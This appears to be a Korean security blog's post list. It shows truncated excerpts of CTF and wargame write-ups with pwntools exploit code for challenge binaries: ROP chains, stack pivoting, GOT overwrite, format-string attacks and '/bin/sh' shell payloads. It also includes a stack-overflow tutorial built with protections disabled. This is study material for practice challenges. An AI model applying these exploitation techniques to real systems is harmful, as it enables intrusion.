anonymous?

포인트를 50으로 만들고, ‘SuNiNaTaS’로 만들라고 한다. User-Agent 가 나와있다. User Agent는 애플리케이션 타입, 운영체제, 소프트웨어 vendor/version 등의 정보를 알려준다. 개발자 도구로 본 소스코드 상에는 별다른 코드 (submit() 같은..) 가 없어서, User-Agent를 써야 할 것 같다. 포인트를 25까지 올리면 위와 같은 창이 뜨면서 초기화는 되지 않고 그 이후로 Plus를 눌러도 Plus 되지 않고 Point가 25인 상태가 유지된다. 일단 User-Agent를 SuNiNaTaS로 바꿀 방법을 찾아보자. User-Agent는 브라우저를 식별하고 내가 방문하는 사이트의 서버에게 시스템에 대한 정보를 주는 문자열 값이다. User-Agent는 개발자들이..

WEB HACKING/Suninatas 2020. 5. 27. 23:21

from pwn import *context.log_level = 'debug'r = remote("svc.pwnable.xyz", 30016)p = process("./challenge")elf = ELF("./challange")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")system = elf.symbols['system']free = 0x601210r.sendafter("> ", '1')r.sendafter("Note len? ", "100")pay = 'A'*0x20 + p64(free)r.sendafter("note: ", pay)binsh_s = "/bin/sh"r.sendafter("> ", '2')r.sendafter("desc: ", p64(syste..

SYSTEM HACKING/pwnable.xyz 2020. 5. 27. 12:12

# 보호기법 확인 # Process Leave_ret 주소 : 0x8048504 Bss 섹션 크기가 8 바이트밖에 안 되므로 dynamic 섹션을 사용한다. Dynamic 섹션 시작주소는 0x8049efc pop_ret : 0x804836d(으로 사용함) pop_pop_pop_ret : 0x8048569 puts_system_offset : 0x24f00 puts_binsh_offset : 0xfbd6b # Exploit Code from pwn import * p = process("./migration") elf = ELF("./migration") dynamic = 0x8049efc buf = dynamic + 0x600 buf2 = dynamic + 0x800 p3ret = 0x8048569 p1..

SYSTEM HACKING/CTF, etc 2020. 5. 27. 11:57

#include #include #include #include #include #define MAXARG 7 int main(){ char buf[256], *args[MAXARG], *save, *token; int argn, child, status, pid; static const char delim[] = " \t\n"; // 공백, 탭, 개행으로 이루어진 while(1){ // 무한반복 printf("[shell] "); gets(buf); argn=0; //문자열에서 delim을 기준으로 단어를 잘라냄 //strtok_r과 while문 사용. argn을 증가시키며 args 배열에 잘라낸 명령줄 인수를 넣는다. token = strtok_r(buf, delim, &save); while(tok..

PROGRAMMING 2020. 5. 23. 21:10

# 보호기법 # process int main() { long addr; long value; initialize(); printf("stdout: %p\n", stdout); printf("addr: "); scanf("%ld", &addr); printf("value: "); scanf("%ld", &value); *(long *)addr = value; return 0; } libc leak을 할 수 있고, 특정 addr에 원하는 value를 쓸 수 있다. Partial RELRO이므로 위의 과정으로 GOT overwrite이 가능하다. exit로 종료되는 경우 rtld를 덮으면 프로그램의 흐름을 변조가 가능하다. _libc_start_main함수에서 exit를 자동으로 호출해서 프로그램 자체에서 ..

SYSTEM HACKING/Dreamhack 2020. 5. 17. 11:36

주차 과제 1 (3/16~3/22) 1. IDA Pro 7.0 설치 + IDA Pro 사용법 공부 & 정리 2. pwntools 설치 + pwntools 주요 사용법 공부 & 정리 * dreamhack Tools -> pwntools 수강 * pwntools 사이트(설치 및 docs) : http://docs.pwntools.com/en/stable/ 3. pwndbg 설치 + pwndbg 주요 사용법 공부 & 정리 * pwndbg : https://github.com/pwndbg/pwndbg 4. Vmware workstation에 Ubuntu 16.04 설치 안 한 사람들 설치하기 (앞으로 ubuntu 16.04 사용) 2 (3/23~3/29) 1. dreamhack - Memory Corruptio..

SISS/2020 2020. 5. 10. 23:37

# Process bss 영역에 존재하는 크기가 0xc8인 전역변수에 read로 입력받는다. 그리고 printf(buf); 를 하는데 이때 FSB 취약점이 발생한다. 버퍼가 전역변수일 때 FSB 취약점이 발생하는 경우 Double Staged FSB 기법을 사용한다. 1. libc leak 스택 확인해보면 __libc_start_main+247 주소를 확인해볼 수 있다. offset을 계산해서 leak하고 libc base를 구한다. 2. 스택 영역 가리키는 주소의 값이 또 스택 영역 가리키는 부분 2개 찾기 - got와 got+2로 각각 나눠서 덮어줘야 하므로 2개 찾는다. - 메모리의 높은 주소 방향으로 스택 값들을 꺼내온다. 따라서 스택 포인터는 이 포인터 주소보다 더 높은 주소 값을 가리켜야 한다..

SYSTEM HACKING/CTF, etc 2020. 5. 4. 18:13

# Process 1. pow pow에서 v2와 v3가 0이면 안 되는 조건이 있다. sleep(v2*v3)가 있어서 v2*v3를 0으로 만들어야 한다. 이것을 우회하는 방법은 이 DWORD로 0x80000000라는 숫자를 보면 최상위 비트가 1이고 (음수이므로) 나머지 자릿수는 0이다. 따라서 이 0x80000000 수와 어떤 수든 곱하면 0으로 만들 수 있다. 8바이트로는 10진수로 위와 같은 수이다. v2와 v3의 형은 int형이다. int형은 4바이트이므로 v2*v3를 해도 int형, 즉 4바이트이다. 근데 buf는 unsigned int형으로 int형보다 크기가 훨씬 크다. 그럼 v2*v3를 했을 때 하위 4바이트까지만 잘린다. 따라서 이 취약점을 이용해서 하위 4바이트만을 곱했을 때 모두 0이..

SYSTEM HACKING/pwnable.xyz 2020. 4. 20. 16:25

# 보호기법 / file NX enabled : 쉘코드 실행 권한 X Partial RELRO : GOT Overwrite 가능 $ ldd pivot : 확인해봤을 때 libc base 주소 계속 바뀜 -> ASLR 걸려있음 $ file pivot : dynamically linked, no stripped # Process uselessFunction 함수를 어셈블리 코드로 확인해보면 역시 아래 usefulGadgets이 있다. - mov rax, [rax] ; ret : rax 레지스터 주소에 적힌 값을 rax 레지스터에 넣는다. 만약 rax 레지스터 값이 got면 got에 적힌 함수 주소 값이 rax 레지스터에 적힐 것이다. - pop rax ; ret : x64 아키텍쳐에서 rdi, rsi, rd..

SYSTEM HACKING/CTF, etc 2020. 4. 20. 16:25

# 보호기법 / file # Process SFP에 bss 영역의 주소를 넣으면 leave ret 시 bss로 이동한다. 그리고 다음으로 이동할 주소를 setup 이후 코드 주소로 준다. (다시 fgets로 입력받기 위해) 그럼 먼저 bss 영역에서 fgets() 함수로 입력받는다. 그 이유는 입력을 rbp+s로 하기 때문에 이전 SFP에 담긴 주소로 이동된 것이다. bss 영역 앞부분에는 stdout같은 것이 담겨있으므로 bss+0x200으로 이동하도록 했다. 두 번째 fgets에서는 쉘코드를 넣어주는데 한 번에 입력이 안 된다. 따라서 디버깅으로 확인하면서 fgets 2번에 나눠서 담아줘야 한다. 그리고 다시 setup 다음으로 돌아가는 주소도 넣어줘야 한다. 쉘코드를 담고 확인해보면 b0 0b cd..

SYSTEM HACKING/HackCTF 2020. 4. 20. 16:24

# 보호기법 # Process gift 함수를 보면 mov rcx, [rdi] ; ret 가젯이 있다. 이 문제에는 BOF도 일어나지만 libc leak을 할 함수가 fwrite밖에 없는데, 이 함수는 인자 4개가 필요하다. 하지만 가젯을 찾아보면 pop rdi ; ret 말고는 충분하지 않다. 따라서 fwrite 함수로 libc leak을 위해 RTC (Return to csu)를 사용한다. 1. fwrite 함수의 인자 구성을 알아보자. size_t fwrite(const void *ptr, size_t size, size_t count, FILE *file) fwrite(&got, 1, 6, 0x601050) 첫 번째 인자 : 읽을 메모리 주소. ptr이 가리킬 것이므로 got 주소로 준다. fge..

SYSTEM HACKING/HackCTF 2020. 4. 20. 16:23

1. RET Overwrite Exploitation Stack buffer overflow 취약점을 이용해서 공격하는 방법이다. 이 취약점의 경우 주로 stack의 return address를 덮는 공격을 사용한다. Return address : 함수가 종료하고 돌아갈 이전 함수의 주소이다. Return address를 함수 종료 후 공격자가 실행하고자 하는 코드의 주소로 덮어서 실행의 흐름을 조작한다. 2. stack buffer overflow // gcc -o example1 example1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32 #include int vuln(char *src) { char buf[32] = ..

SYSTEM HACKING/Exploit Tech 2020. 4. 6. 12:00